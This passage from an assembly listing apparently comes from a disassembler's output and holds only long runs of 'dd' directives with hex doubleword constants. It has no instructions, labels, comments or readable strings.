		dd 199056CDh, 5FB95301h, 24ACE645h, 29C9560h, 0A9F660C1h
		dd 0BB4050ABh, 40E61CFAh, 4604D61Eh, 0F6F38601h, 0A06A77FEh
		dd 56F60879h, 0C05A7A00h, 0E9BAAA68h, 1DD10065h, 52C2B017h
		dd 5800CA25h, 0F6CC23DAh, 55841Bh, 0FB690CBCh, 4E92D20h
		dd 48340E03h, 187C871h,	0BEADA2F0h, 30FF6F73h, 0E40075E0h
		dd 79844146h, 47FEBFh, 2D24B1DAh, 7C9A1408h, 607226E2h
		dd 6B236E00h, 15F4A939h, 9C58041Bh, 0C15924F1h,	0D0412060h
		dd 1400CE10h, 193BF8D6h, 1B97B65h, 8AA82327h, 0C8E15F35h
		dd 0A6015675h, 85EE67D3h, 8881878Dh, 5A7B720Fh,	0E44BED52h
		dd 0E372ECFFh, 21F0077Bh, 8129FB60h, 0F21471D0h, 0AAF009Bh
		dd 31C47DBh, 0E1A2BE8Bh, 0EA084660h, 0C9A19300h, 57AD48A3h
		dd 13210047h, 5F3D4689h, 0BC90266Eh, 0F42C2502h, 0E0A764AEh
		dd 1FECB421h, 838E23A3h, 0DE30701Ch, 0F651ADB0h, 7C0004B8h
		dd 0DB6BB2BAh, 6EC52Bh,	0EDA8632Eh, 8448A08Eh, 9167E301h
		dd 87177BCBh, 832C20h, 27EAC6B5h, 201292B1h, 0F8964E00h
		dd 7DF21E58h, 0E041EE36h, 0E8010513h, 0D02D11h,	0B09B2FF0h
		dd 6206DF0Dh, 0CFC9BC4Fh, 43BE0018h, 79787715h,	7E1EE841h
		dd 4066A801h, 86481801h, 0F94108EBh, 0BFDCA3EDh, 0BD5F1F60h
		dd 0F26F819Ah, 34E8D59Bh, 490AE23Ch, 0F40DF5B7h, 65E07700h
		dd 0CE1C2h, 0D49309F4h,	0CD502B61h, 0D170E400h,	958CC4D5h
		dd 0B4654930h, 8F8D6200h, 0B3BF9F4h, 0B6C11707h, 0CFC06126h
		dd 1492Ah, 16777020h, 0F1065E9Ah, 8A566800h, 0EBCB1718h
		dd 58E1E80h, 9A910789h,	8DF7C134h, 0D444F184h, 0C77F5CE0h
		dd 96315200h, 0A17EE1BBh, 0F0A4488Eh, 809A9C1Dh, 4EB136DEh
		dd 72009931h, 1791F14h,	58D784h, 6B647BA1h, 8DD597ECh
		dd 0E7CAFF01h, 243441AFh
		dd 730020h, 0C059F5E5h,	20DF1A0Ah, 270021EAh, 2D9CCF2Ch
		dd 4712A2h, 0EFC92B17h,	0F006A6EBh, 0D0ADCD00h,	7AA4201Eh
		dd 0D5C60049h, 391996B2h, 321F1287h, 3C09B8Eh, 41DABC85h
		dd 45C9004Bh, 19B37584h, 0E03A47BFh, 0EF080B74h, 1DD48378h
		dd 162CF094h, 0D04D0093h, 7006F90Eh, 8800737Eh,	61EAFE53h
		dd 0E33A4AEh, 0E40D6D22h, 2027DBCBh, 0ED92209Fh, 0DE07C388h
		dd 0DF1D1E2Bh, 4A676F20h, 767AE7h, 8AFD6BA5h, 0FFFA59C0h
		dd 105D5100h, 3156C287h, 0C910C0FEh, 0B0E7C8CEh, 0AC8C7903h
		dd 9B656345h, 1E7EB031h, 1C8B0017h, 0E7A17044h,	0DA3A20F0h
		dd 80F4A483h, 0F940DD00h, 965B86h, 0D74BAAEBh, 0ED3254C7h
		dd 9A389898h, 4343A4Dh,	895A2C37h, 3E0D4491h, 0F5DCE2C8h
		dd 1F25420h, 66D91909h,	60CA5D55h, 1CF42E23h, 59388676h
		dd 3DFA8062h, 47A603A8h, 7C580013h, 7A051949h, 3A1D1737h
		dd 8CCE0132h, 86FA006Ah, 483FCB08h, 17280ACFh, 0C92D00D0h
		dd 73D45C53h, 0A7009EDDh, 112B0A6Ch, 0D1147Bh, 89EB66E3h
		dd 0F61D4D71h, 6AE6BA00h, 7445DE59h, 0F07D0267h, 46197983h
		dd 0F36537E0h, 0E03AE9A1h, 0F9033E04h, 2FD62278h, 8870F7F8h
		dd 451056h, 54B405C1h, 8539B115h, 0FE7D0D3Bh, 530B0A0Fh
		dd 0F3007384h, 3D44D174h, 0E83A0096h, 0EB5CECE7h, 20026AC9h
		dd 87CAAE21h, 0BCAC026h, 0A9EED5h, 0F3E010C5h, 586FD04Ch
		dd 0AE3DAC00h, 0E825D757h, 0DF8F0B03h, 38A02B82h, 0C110E7FCh
		dd 0D7E5A500h, 8E5FA085h, 3A087FE3h, 5B00679Ch,	96792713h
		dd 0A800802Fh, 626FC8D3h, 5EA1FBh, 0A34F3759h, 0AFFCC6E9h
		dd 92B57414h, 0E84403E8h, 0FE6B812Fh, 2907811h,	0B2C64377h
		dd 0E0C81964h, 0CF49FD0Ch, 87BC3E60h, 0CD2352F9h, 70E23C41h
		dd 658FF280h, 0B1CC9637h, 0DD290C01h, 499F9E92h, 3EF39CC0h
		dd 0C9076DE4h, 0F0C360C5h, 0FCC11B2h, 4495F400h, 0F9925134h
		dd 250C3007h, 8F31A4F9h, 5F1F3C92h, 28BC052Ch, 0DE0B102Fh
		dd 0A0A3F8AAh, 0DDD232E0h, 0BCC030Eh, 80B18B9Dh, 0BAB2F2A7h
		dd 35E10880h, 0DE2A051Ch, 3E00340Eh, 0ABD38649h, 5AA459h
		dd 352D3228h, 0E1BAB479h, 0C8751CECh, 6093770Fh, 2FF480C0h
		dd 0FF3C23h, 2D480691h,	0BF020DCDh, 34E63F00h, 457F47BAh
		dd 0DDC8000Eh, 0B5CF8C72h, 1B0E33AAh, 20EEB974h, 1FD6BC82h
		dd 0D1B31CC5h, 0D2C9B301h, 0F51302E8h, 0E93FE000h, 0AFADCC5Fh
		dd 0A6BEE49h, 18D7A512h, 6E0280CCh, 0B034ECD9h,	0F501C17Ah
		dd 635FB320h, 0DC403246h, 125C0DD2h, 91C3BC9Fh,	8012FC60h
		dd 0CD736541h, 5C5849h,	0B26CC1DDh, 750EE878h, 191A6D79h
		dd 4358DBEFh, 510390BBh, 0BC50064h, 715BFD33h, 0B56043C9h
		dd 0A80D4B59h, 64260034h, 5A277959h, 93AAC6Bh, 0DF24806Fh
		dd 0F551709Ch, 780E00ABh, 0F73D1FA1h, 0D41D9175h, 49C0A4C1h
		dd 0A5FDA355h, 4820F574h, 9D8F248Ah, 0C8D9F58h,	0F7712648h
		dd 28C91060h, 85802Bh, 0E9ED0BDDh, 0E81699BAh, 0D0FFB015h
		dd 7739ACh, 7671426Fh, 7C5CC921h, 4938015Ah, 46A519F9h
		dd 0DD598024h, 0BB351028h, 19177467h, 8182978Eh, 64E8300Ah
		dd 5E118360h, 1C78DBB1h, 43C7FD4Ah, 0D3ADDEACh,	2A9F6AC0h
		dd 41498800h, 3FF70807h, 0A53500BEh, 965FF8A3h,	0E7003BE0h
		dd 0F01B69Ch, 0ABB35Ch,	43997B89h, 566188F8h, 975BB105h
		dd 0B3801047h, 75E2CCh,	74B463C1h, 0A58AB603h, 94D97C01h
		dd 0A756256Ah, 30CCFDC4h, 1931406Bh, 0C70051E3h, 70D98BF5h
		dd 3356240Fh, 0F4205EDBh, 929468A0h, 0BD0211C0h, 312C53Ah
		dd 2458E346h, 93A3D99Eh, 72632100h, 0BE48E03Dh,	90D600FDh
		dd 0B03FE1B1h, 9181E5Bh, 0F56006C2h, 2C67525Eh,	0C43AB606h
		dd 2C895012h, 75A21078h, 0B53E013Dh, 0A1F69DA5h, 0B447E84Bh
		dd 1C00F478h, 0EDC17159h, 5011B128h, 34DF8C52h,	8040E981h
		dd 9BA6FEEFh, 98DEEB00h, 0D5DA1D25h, 238D0F30h,	5E801B1Ch
		dd 2A40A91Eh, 516A0C0h,	0DEC820h, 1BF77FC5h, 0B727D7DBh
		dd 9095CC1Fh, 0EC01CF40h, 0DF81BDh, 516CDC24h, 324FDD0Eh
		dd 5F50D100h, 0E589ACB1h, 0A25D3A6Ah, 8F534980h, 7AB69923h
		dd 0B80EE7F4h, 0C048A9BEh, 611426E1h, 17870079h, 411EBBA0h
		dd 0AE00CE63h, 0C498F92Dh, 348FE7h, 6D3F06BDh, 42EAC082h
		dd 0B25D2605h, 42F2845h, 3C3FEAh, 2F8DCB6Ch, 420762h, 45BB26B6h
		dd 102E65F4h, 0B1BEF503h, 6C2A7Bh, 667E2818h, 0E6A66727h
		dd 0C20F9703h, 99C62576h, 588044AEh, 53872B0Dh,	2960F0E9h
		dd 5A6E5E68h, 0DD90031Dh, 9E1A1F14h, 1ADA2B0h, 85596360h
		dd 2C35FEh, 6771A63Bh, 2F5908E9h, 5458B1C0h, 1D7B0B07h
		dd 3B46C55h, 2AC8D7E9h,	1500418Eh, 0D6C4199Dh, 3B3388h
		dd 2971BEF9h, 42AC948Dh, 0D792FA07h, 88C53E2h, 0B5A3001Dh
		dd 5F020810h, 49CF9701h, 0B27C20CFh, 14C5D2Ch, 0A4425223h
		dd 0FFEEB3D6h, 0F71AA2E8h, 92FD2E00h, 895BE369h, 0C8AB846h
		dd 80AD79Bh, 0BC54CA49h, 0F0EE8B4h, 0C1C9B290h,	0F15B19CFh
		dd 19252DCh, 10C39AD2h,	0D403CB71h, 980EFD45h, 0A02F8C0Ah
		dd 9DC8108h, 0BB590058h, 0B99B2E87h, 492AB10Bh,	0D3748C2Ch
		dd 0A8C6902h, 0A0E7E990h, 0BB05F5B8h, 28BC0E34h, 0F4E083C2h
		dd 0AA67FF3Fh, 0A3B62901h, 7F8A082Fh, 0BA413197h, 8FF05801h
		dd 9EE06B25h, 578A15F1h, 981898B4h, 3C08D95Eh, 0D8397B60h
		dd 184B03E2h, 216F1E30h, 9006068h, 0B571BCF6h, 32C899Bh
		dd 6D027AE8h, 0CEB8A9B4h, 79067CF7h, 608D4E1Fh,	739F00C8h
		dd 91A52F67h, 0F800F275h, 0CEF35CB0h, 0A4EEE15h, 0A76B0EBEh
		dd 64886C90h, 30252640h, 0AB81941Eh, 240066AEh,	0BAA2C6E4h
		dd 0F2170FDh, 0E579E835h, 4F89560h, 1900EC7Ch, 0DB9CE25Fh
		dd 3024C1D1h, 4DD9EFEAh, 0ED00D3A3h, 8A1F81FDh,	224E3E6h
		dd 8C377AE1h, 0A8837598h, 0C1F67608h, 79904800h, 4DC4C609h
		dd 3703F2CAh, 70A17008h, 9C2EA8F1h, 8A86748h, 800B133Ch
		dd 0CD5C8E22h, 481CDC1Dh, 900051F9h, 0B24CFCA9h, 50350280h
		dd 640688B3h, 47255080h, 4008CEDh, 0FF32FD15h, 0EA081F7Ch
		dd 0A1FA0E56h, 743465Bh, 814C2A05h, 9C4000F8h, 93180275h
		dd 5160013Ah, 8FA49EEh,	45599E6Ah, 18083824h, 0A9D7C1B3h
		dd 81280059h, 19360917h, 0F824D5E0h, 12548392h,	2983B5F3h
		dd 2C6D907h, 79D01B7Ah,	249CFE69h, 130F322h, 41A7313Eh
		dd 8DE4402Fh, 81C3EBE9h, 88E4F86Eh, 99E843h, 0BBBA920h
		dd 2401075Fh, 0F65359C0h, 30FF9C22h, 0B539ED31h, 26F10942h
		dd 8062A4Ch, 8D109704h,	38CCAE92h, 0FFB001F7h, 6430E4B5h
		dd 0AF3CC0E5h, 3C90E490h, 185A5020h, 0E9D4CB48h, 0E3007DF8h
		dd 8C86C087h, 0F8551ADh, 3FD96F92h, 960321A1h, 943201h
		dd 131EAED3h, 483DB1h, 0E30AF4AAh, 392AFD1h, 6BFD2909h
		dd 126CB3AEh, 0F85608h,	77AB4994h, 0CA301D10h, 68DF81D3h
		dd 9BE645h, 0A7A961C0h,	246A3CC6h, 537331Ch, 5259DEC2h
		dd 84246016h, 2F8A01A8h, 0D80386B5h, 18F84130h,	6F0062ECh
		dd 13AE8428h, 0F22C88h,	0D419749Dh, 9E545F57h, 2D7EEA1Dh
		dd 90FD43C3h, 78B5F877h, 741E4C69h, 0BDDD4680h,	4B75C60Eh
		dd 80AFF700h, 7C6BD4BEh, 7C6448E6h, 0C0420409h,	60675C82h
		dd 73170E00h, 0DD9C00B9h, 3D525344h, 4C0CCB2Ah,	9081A7C2h
		dd 0AF940092h
		dd 46B4639Fh, 4004DDBCh, 2E084FBBh, 0A04880C8h,	145C26DCh
		dd 0F0AC921Ch, 2C839FC1h, 0E594D82Dh, 86FF9D13h, 753A7820h
		dd 7C9C0591h, 40E3C24Bh, 0C39ED288h, 0B6488990h, 8322404h
		dd 0A421E098h, 0DC307ADh, 7114AB55h, 222A82F7h,	3C39E4h
		dd 0B31AA3D9h, 0AB4352h, 0CF174739h, 6F48FEBFh,	81861330h
		dd 8AA997h, 25D057FBh, 8FF443F0h, 0CDA4CCA8h, 0C3765400h
		dd 0A91881B1h, 387C6063h, 0F28E694h, 8B4C087Ah,	500092E4h
		dd 5C1ACBFCh, 0DDFE0CEEh, 95585A20h, 85441DFEh,	0AEA20354h
		dd 8AAF5582h, 75953803h, 3271023h, 98175410h, 4800154Ch
		dd 0DD689E8h, 0A6D2587h, 6B3BE983h, 0C864018h, 6806E80Fh
		dd 622A4032h, 0D6BC0168h, 7A04FC72h, 0DE10E0A9h, 0E738BE00h
		dd 0BA23D92Fh, 9486096Eh, 480085D2h, 4D06C674h,	0FBE98A00h
		dd 8D594B90h, 0A5FE0DEAh, 20800CF2h, 493082FCh,	85BCB9DEh
		dd 9CBA54B6h, 0AF8C8860h, 7E6067FEh, 3915D11h, 49F06Ah
		dd 196061BCh, 0EB676466h, 0EAF15F07h, 418D4E15h, 23F8E0E1h
		dd 8DB30024h, 0D4AD655h, 0AA3AC9D7h, 62B0016Ch,	3E2A0232h
		dd 900BF847h, 1945518h,	9922C143h, 0C8FA2CDAh, 7300E8CFh
		dd 0C62AD26Ah, 6001F4D8h, 3FC93160h, 58031702h,	0C51FAFF8h
		dd 0EB174E1h, 0EF7D2D39h, 98FF9EC0h, 6C017404h,	32EEE318h
		dd 0F9D462A7h, 31E10058h, 701D879h, 0DB09B986h,	0A0AF8037h
		dd 82D50414h, 16B24C18h, 0C5BC3300h, 58318DD8h,	0F7665603h
		dd 7ECD2AECh, 0B9990F91h, 620879Bh, 903EC3A1h, 9600DF75h
		dd 329E2747h, 72FD4BC8h, 62A90773h, 0BCD239F0h,	9E016C18h
		dd 0B01F9A31h, 0ABF86721h, 18880C1Ch, 3BD9E5E0h, 72354600h
		dd 0C9C2E908h, 0F96F0B07h, 4C201756h, 75E8EC1Dh, 4F44BB00h
		dd 9BE4403Ah, 8E4D00B4h, 59AACA41h, 66007AFDh, 0DDD3F8ADh
		dd 5135D8h, 81D10C9Fh, 22AB2536h, 0BE612A07h, 52631F96h
		dd 0E12E9068h, 0BD9C00F0h, 0D3018D75h, 217413AAh, 6A30DC79h
		dd 302F10C0h, 3EFA7Ch, 0E6E950E8h, 0BBDF970Fh, 0DD20D960h
		dd 0EAD77FC6h, 7B7E006Dh, 457D1273h, 0BF0192A1h, 40208F4Dh
		dd 3187BD91h, 4F937C9Eh, 0E0E6D480h, 5B07DDBAh,	27123448h
		dd 192A1ED0h, 77AF0CDFh, 846E4691h, 90E8A400h, 0D23D6655h
		dd 139A18AAh, 0B2A749DAh, 0D6162F18h, 3E4FB460h, 0C0394C71h
		dd 0A95C4B83h, 101D0F33h, 7E405BAAh, 0B66836D6h, 4298003Bh
		dd 2BE4CA4Eh, 4D1FD8D2h, 0B870A1BFh, 0A40AC0h, 29363428h
		dd 2B13BE33h, 78A608CCh, 0DAEA00C0h, 55D72128h,	0D8002D92h
		dd 0EE7A274Ah, 2844FDC4h, 21A84870h, 2A817B9Ah,	183EA47Ch
		dd 0A821A444h, 0C005D8B1h, 80D394B1h, 0A7D4320Eh, 0EEBE20C4h
		dd 1D49D76Eh, 0C0CE3CFDh, 0E9363093h, 100B833h,	8502C572h
		dd 33C4C920h, 0B178498Ch, 7C1930E4h, 763E58E3h,	0B022E443h
		dd 7C2FA800h, 2AE5A695h, 0A84563C9h, 41389974h,	2B18802Dh
		dd 0D68AECBEh, 0EAB00A6h, 649FBA57h, 0A50A47B6h, 0C49ED501h
		dd 655F8F80h, 14A857h, 6B7C501Ch, 0BB808138h, 558E3E02h
		dd 0A04AF784h, 0FA5266CCh, 0F04890E5h, 0F8DA50CFh, 3C7A2065h
		dd 81CAEF2h, 954655ECh,	38E932h, 4758BFABh, 642D21Ah, 5E9F9400h
		dd 0FB3685CBh, 0F63C172Bh, 496F0065h, 0E39BDC8Fh, 2090D829h
		dd 2D9127C1h, 4DC310DAh, 8A0D624h, 3528A961h, 0C0E51FDh
		dd 7228E3D3h, 2E6E0E95h, 42E7621Eh, 4E99C56h, 3B86093Dh
		dd 0ED92805Dh, 0A2D71115h, 88A1240Ah, 561B8068h, 87E1822Ah
		dd 1AADE00h, 0E2725E85h, 89DD005Ch, 8D7698BFh, 0EA006237h
		dd 0CDBA7330h, 0BC51B71h, 0D4596EBEh, 51892686h, 0E1569A07h
		dd 0E770F717h, 1B9D35Ch, 22AD1C41h, 0D08BFE86h,	0E21F2C02h
		dd 0CD40A582h, 95FB63AAh, 0B4E93CBCh, 42E19DB1h, 0AEC9809Eh
		dd 99795F54h, 70B11C3Ch, 0B621C0A7h, 599355CEh,	1A9D5700h
		dd 4C7F0C74h, 8EA0AA39h, 0AA80B1B0h, 99362A28h,	4AFE208Ch
		dd 28E0EC00h, 4E3F801Ch, 3FE2E6A2h, 0DD9F1412h,	98AB589Eh
		dd 9B004857h, 1E5526D3h, 9A0F24FBh, 438B0000h, 0F0C91F56h
		dd 0DE013183h, 0F235AD14h, 40DA4D17h, 0E691B494h, 0C934545h
		dd 0C701129Ch, 49A9FF3Ch, 7A2071E5h, 0E9950124h, 5AAAE210h
		dd 2E7DC87Bh, 4A9A5005h, 12829031h, 0F58048CDh,	16A5026Ah
		dd 0E717F405h, 569BE048h, 1C583A00h, 3E9CBA5Eh,	2E31C7D8h
		dd 0E3D58073h, 0FBF0AE03h, 54CC49h, 9624F3AAh, 71155B3h
		dd 0D3CEBFEFh, 216546F4h, 804C1200h, 7391B954h,	0FDE3C51h
		dd 3A79324h, 0A669437Ah, 568E6900h, 0F8F4E062h,	40ED02BDh
		dd 694720E3h, 0C36F1300h, 48F4A459h, 0A00F612h,	0AEDF0CEFh
		dd 5E00ACFBh, 0B31893DCh, 2AF79639h, 0E84024h, 523282E8h
		dd 94E4EE63h, 0C4B741Ch, 0CDB38980h, 940B4E7h, 676241F3h
		dd 8FAF5C21h, 74A0FA2Fh, 542796F0h, 6622F146h, 7FD82600h
		dd 0A7A9E41Ah, 0E0A250FEh, 40F30946h, 8018C4B7h, 0AB090741h
		dd 202EA063h, 0C2D88A14h, 0B35C0016h, 522079C5h, 84194F10h
		dd 0F561BD3Fh, 79C4BC4Bh, 0F9893366h, 0E448CF0Fh, 7CAC1306h
		dd 35490083h, 3D50DD05h, 4C4630B2h, 3328EF02h, 0AD31C136h
		dd 28D9FD10h, 0B806CB7Bh, 3FF78649h, 0B3453C99h, 41A90701h
		dd 89EB783Ch, 10349A19h, 359A340h, 82059904h, 66C27F06h
		dd 0EFD357C0h, 0C31F0CB3h, 203EA284h, 402EBB62h, 0AEB47FC1h
		dd 6CB870h, 64C37376h, 0E5EDA642h, 0F7099CB0h, 744FC7h
		dd 0D9525770h, 9C413E15h, 0FC21712h, 80E07034h,	0CCB6E759h
		dd 13941A1Fh, 0FA19807Dh, 0BAAEC529h, 640D267h,	582C5897h
		dd 0EA5A9900h, 8A16AD24h, 0AF55293Ah, 8FA178D0h, 17970086h
		dd 8BF76987h, 0BE244824h, 7A0E1CD4h, 0E37849Eh,	6B7518D1h
		dd 434BACDh, 0EAA4A8CEh, 1D2A7D60h, 5754B4CBh, 97302025h
		dd 0D1000DDAh, 77E50F4Eh, 42BB29h, 0B137D01Ah, 5554DF26h
		dd 0EA00507Ah, 4DBD6FE4h, 0E101C4FAh, 0A9204C66h, 4554A71Eh
		dd 3E8224E4h, 42A0464Dh, 3A4011Ch, 44D80BF9h, 0A7272C3Ch
		dd 2F0C5090h, 2042EC29h, 85DFAC1h, 0F24D670Ch, 98490074h
		dd 0B416635Bh, 4608000Ah, 0CC3C03BBh, 71036412h, 0CBE0456Eh
		dd 9EABB979h, 5858C48h,	7CA71DB3h, 846081F7h, 2CA80081h
		dd 466568Ch, 6143C0E3h,	3A2CB04h, 4F18C10h, 9E44ED08h
		dd 29852096h, 0E3F89D54h, 0BC505774h, 8CBAC1Ch,	0FD3CA60Ch
		dd 208B18h, 6DD32618h, 0D2805B81h, 0D1CDA3E4h, 5094099Ch
		dd 9D2A18F1h, 69076E4Ch, 954F7899h, 361C9319h, 151071C4h
		dd 507E87D7h, 0A87C1091h, 0A22D3C60h, 4F043008h, 0F0596307h
		dd 8131D68Dh, 0F614C918h, 20400894h, 0E42ABCC2h, 3E08B48Ch
		dd 52AB0CA8h, 410D29DFh, 418A91BDh, 4D407B15h, 2E500A10h
		dd 8300D38Dh, 0F3DA3584h, 11E314FCh, 3ADEEC1Bh,	3EABC050h
		dd 0BA3453ADh, 42FC2E08h, 25C3FA04h, 10482DE7h,	9522FCh
		dd 0A123CF2h, 0EDBA5A89h, 34265C74h, 2020BCE7h,	85CD4C01h
		dd 0EA9A7E2Fh, 8B1868C6h, 39D0663Dh, 2C3069D3h,	4E423909h
		dd 482E656Ch, 0F674C09Ah, 9C01EE61h, 8FACE730h,	0A0347508h
		dd 96AB0D01h, 0DC719E79h, 5E5856BFh, 0D2460304h, 0C885F0Fh
		dd 7E1C9068h, 7C003149h, 0B0A140DDh, 30B80FD7h,	0B2081387h
		dd 4300B94Dh, 4C44DD7Bh, 198FD702h, 0A9A236D3h,	81CCF409h
		dd 85C908C4h
		dd 2C80CE01h, 0BEFC35C1h, 98096C48h, 9F1A005Dh,	0DBC6D8DFh
		dd 0B700C454h, 0D37F6E39h, 0B044CE7Ch, 0B4E6009Fh, 0B9DA707Eh
		dd 31343BEh, 0A118C971h, 0E6A879h, 628D8CA0h, 2BA7F7CBh
		dd 68E85D60h, 0B7FF807h, 6940318Fh, 82454010h, 8B84140Eh
		dd 49360CC1h, 0D48E0593h, 93836875h, 40F1DBD0h,	89D8ED8Ah
		dd 0C18450C1h, 0FCA1A84h, 0BD92807Ch, 0C2904A6Ch, 0B48D7513h
		dd 30701810h, 4184082Dh, 0D0AE49A1h, 36DA3D00h,	3EFD8E66h
		dd 6246A3Ch, 9055EA10h,	89020B21h, 0A086D366h, 0FA14A144h
		dd 20AC80D1h, 684A6ED2h, 0E0C50B60h, 0D13EBF8Ch, 7EB38178h
		dd 0EEEA9F77h, 0A80A2C25h, 8407C13Ch, 80ABE459h, 0CAE853B5h
		dd 0A0C9428Ah, 0B81CB464h, 0BDDF2957h, 0CB1442B8h, 0B3105C19h
		dd 0A380D639h, 9CE60092h, 0CBF45B80h, 680E6E53h, 0C0422EB2h
		dd 91D7A2C5h, 0DD3F26F0h, 248E8550h, 0C0A41DB7h, 800275D3h
		dd 8F0041D1h, 0FA327B1h, 786FA90Ch, 2ABE3F55h, 93C88730h
		dd 0BF00D5E6h, 4618C39Ch, 12D2A10Eh, 8957401h, 4C828950h
		dd 58D552B4h, 116B2E80h, 1590221Dh, 0B8850240h,	1211E97Ah
		dd 139ACCCEh, 0D8A04094h, 4069D50Eh, 44A49FFAh,	0EAC859h
		dd 60828D7Dh, 0C514883h, 81E7243Ch, 0A045A52Ah,	3091D510h
		dd 448F5243h, 3DBC8829h, 4C50B24Bh, 7EA80D1h, 7E60AB50h
		dd 0C0F23680h, 12D9A29h, 4C018EADh, 0C11138BDh,	0FE20BE3Ah
		dd 40AC69D4h, 0B5A828C8h, 0E451101h, 0D9E376B6h, 29D59198h
		dd 0ED899388h, 7CC0443Ch, 8BF4B18Dh, 0CF764303h, 8078BEFCh
		dd 0E06AE601h, 640837FDh, 6DE8D018h, 2C008BBDh,	0C047BE34h
		dd 5CF42E2Dh, 3E00803Dh, 0FCD285E8h, 0BE003578h, 7DF6B30Ah
		dd 18F32DBBh, 4875638Bh, 4A006EC0h, 0BF81190Ch,	0C077A6A5h
		dd 4F385318h, 7D650836h, 0D0018B71h, 25F03747h,	34F71E4h
		dd 0F477988Ch, 3962888Eh, 8D101D88h, 0A6EC3998h, 3A7F00E4h
		dd 0EB3E7384h, 0BAB0FA81h, 78B6A00h, 8E9F28AFh,	2C5325E6h
		dd 0B40782DCh, 286B3BDh, 717CF068h, 1BEDF8AEh, 58D756E2h
		dd 0D6D281E0h, 0D9DDA50Dh, 0AF028FFh, 0C325F644h, 0B17EA90h
		dd 0D6A084C3h, 47062A78h, 24F11B95h, 0E0F41F40h, 73E905D7h
		dd 0BC1E57h, 0B9683990h, 0DC0AE30Bh, 0C87BEA74h, 2986615h
		dd 3B81E09Ch, 7E066079h, 0C9BF000Ch, 5C2C8CA6h,	0DB07FE14h
		dd 17C47DDCh, 0D5C0A737h, 541E02CFh, 0D1889Bh, 2E704A65h
		dd 0F4F12B39h, 3028133Ah, 8D3B21E8h, 35AE003Ch,	7B248A80h
		dd 9D220E7Dh, 0F2E0B3h,	86E91DA9h, 7C4D4422h, 0EF34DB0Fh
		dd 9188E05Dh, 1FCCACDCh, 118CF78h, 0DE07E031h, 7141807Bh
		dd 7702823Dh, 0B1ED606Dh, 5162E5B5h, 0B06F291Eh, 0DC7C838Eh
		dd 772A0E80h, 603AC284h, 0B70B8809h, 3000B5ABh,	1622D2Bh
		dd 0D0BD3Dh, 0DDE319EFh, 5F46FEB8h, 21A9B90Eh, 59E7E7DAh
		dd 0C986C3F0h, 4975000Ch, 0A2996B4Fh, 520A2B7Eh, 0CD334402h
		dd 4D3E003Bh, 0B71B38F1h, 91B2009Bh, 660A5CEAh,	0D7025B0Dh
		dd 0D87FE09Eh, 0CB5A4033h, 2FBA079Dh, 0D0BCBFC7h, 0D99115Fh
		dd 0A6AB6B01h, 0A8CB8990h, 7E478DCh, 5F2EE22h, 0C752C0BCh
		dd 0D000725h, 0A05CA597h, 0D86BF9h, 0A4A3983h, 0FF99AE8Bh
		dd 0EEB7940Fh, 8338C998h, 0F3CE91Fh, 0C672051h,	6E7C3987h
		dd 0A9C65A0h, 0B903A1A9h, 96E73677h, 2541D34Eh,	0D760E18h
		dd 99471A00h, 7AC1FA1Dh, 0C1978C5h, 4B402BCBh, 0B00EDB28h
		dd 0E0A5F9D9h, 6359EE99h, 2090D73h, 94D890F8h, 80040CA0h
		dd 18265B40h, 0A3E807B4h, 7EE625C1h, 0D45CBD40h, 2B00CF52h
		dd 0B1AE7A1h, 57A73ECh,	1146F921h, 0B28C0638h, 167C31D4h
		dd 0A9B5DD00h, 27C99E6Bh, 35F300DCh, 390EC0Eh, 762A3781h
		dd 140C28B4h, 1888A658h, 43C0A1B1h, 6E299A6h, 103A94C2h
		dd 0C93C230Ah, 7661600Eh, 65E435ECh, 0A83E62D4h, 0E01E679h
		dd 719F8690h, 0E53400CAh, 26A007FCh, 0ECA9EA03h, 58748C0h
		dd 6BA75720h, 0A27C22BAh, 0E1A084B1h, 0CA182436h, 174BB518h
		dd 52F92218h, 1277849Dh, 8CDFD3h, 0CC89E208h, 0DD507F2Bh
		dd 94431748h, 0A1F966C3h, 0CCF24903h, 0E8F5F3h,	0E2979038h
		dd 0C83294D3h, 3873A906h, 381273Bh, 0BC676F5Ch,	3103F44Eh
		dd 0EEDFBEA9h, 0A4AED0ECh, 0A29EE5Eh, 0E3327839h, 5F89001Ch
		dd 0EB495B25h, 0CC333829h, 0ED944503h, 3C111634h, 0A7210075h
		dd 26656121h, 0CEBCAD54h, 134F9400h, 589FA229h,	21D50AE3h
		dd 0FC8ADCh, 0BD90A48Fh, 10C0DDFDh, 4F821CF8h, 17A17C01h
		dd 0C8BBCBBh, 0CE693960h, 0EAD82B12h, 0CCD13040h, 15FC1764h
		dd 0A0405219h, 0D15A7867h, 243DBD9Bh, 7B065704h, 0D9355C66h
		dd 0E46F3010h, 725AC9A1h, 0AB50BBB0h, 61145BDCh, 0B02EEEh
		dd 79A13DB2h, 0A76CBAh,	8B1DF3ECh, 0C7CCB9DEh, 43BE9B12h
		dd 4017304Ah, 89036CF9h, 0F406843h, 0F8FF347h, 19F50C1Eh
		dd 4913024Ch, 0B6A298BCh, 264E3468h, 89217465h,	535544Fh
		dd 0BC082B3Ch, 1BD92A4h, 0EC0D960Dh, 0CB408081h, 79E517BFh
		dd 492BFE0Eh, 1048AC9Dh, 14E64271h, 100CDD33h, 4C8496A5h
		dd 3D9921E9h, 80A22201h, 9DFB8471h, 1C3A38C2h, 3F441CCCh
		dd 89B16C80h, 0BC7261Ah, 0D988BB60h, 7A025D8Eh,	5719000Ch
		dd 3B335065h, 377E9DECh, 19F3Eh, 26EF7FCCh, 0EC5F90AAh
		dd 0F27B0489h, 80D17C96h, 2A143310h, 0DE246F00h, 4510982h
		dd 3A8400C7h, 2C36F564h, 0CC3BCEEBh, 6BB48089h,	3150CBA0h
		dd 4BB1C0ABh, 81878B9h,	97C19013h, 5D487858h, 942707DFh
		dd 0FA96E226h, 0DC2A09E4h, 50335000h, 0FB074CBCh, 0CD597085h
		dd 5701517h, 0C9C1Bh, 663386C0h, 164155ECh, 0EAC3F507h
		dd 2F43F64Fh, 0FE20000Ah, 3840D580h, 453C2BEBh,	983FF7D2h
		dd 0D7088143h, 2DC60986h, 7BFBA9DCh, 2C4401E5h,	6B414ED0h
		dd 40EFF022h, 18BEFA31h, 0AC70F6D1h, 7C930E78h,	8898791Eh
		dd 0C901FBE6h, 45C7D7A8h, 30C7FE15h, 0C621AA08h, 0AC00D083h
		dd 0CF10AF5Eh, 1C655C73h, 2909BBh, 0D908A69Fh, 3A016960h
		dd 41BDA8FFh, 80996A89h, 0D093C80Eh, 6B30D3C9h,	1E2C11BFh
		dd 0A8490082h, 8187978Ah, 0DAE89557h, 4F20C160h, 4583F3h
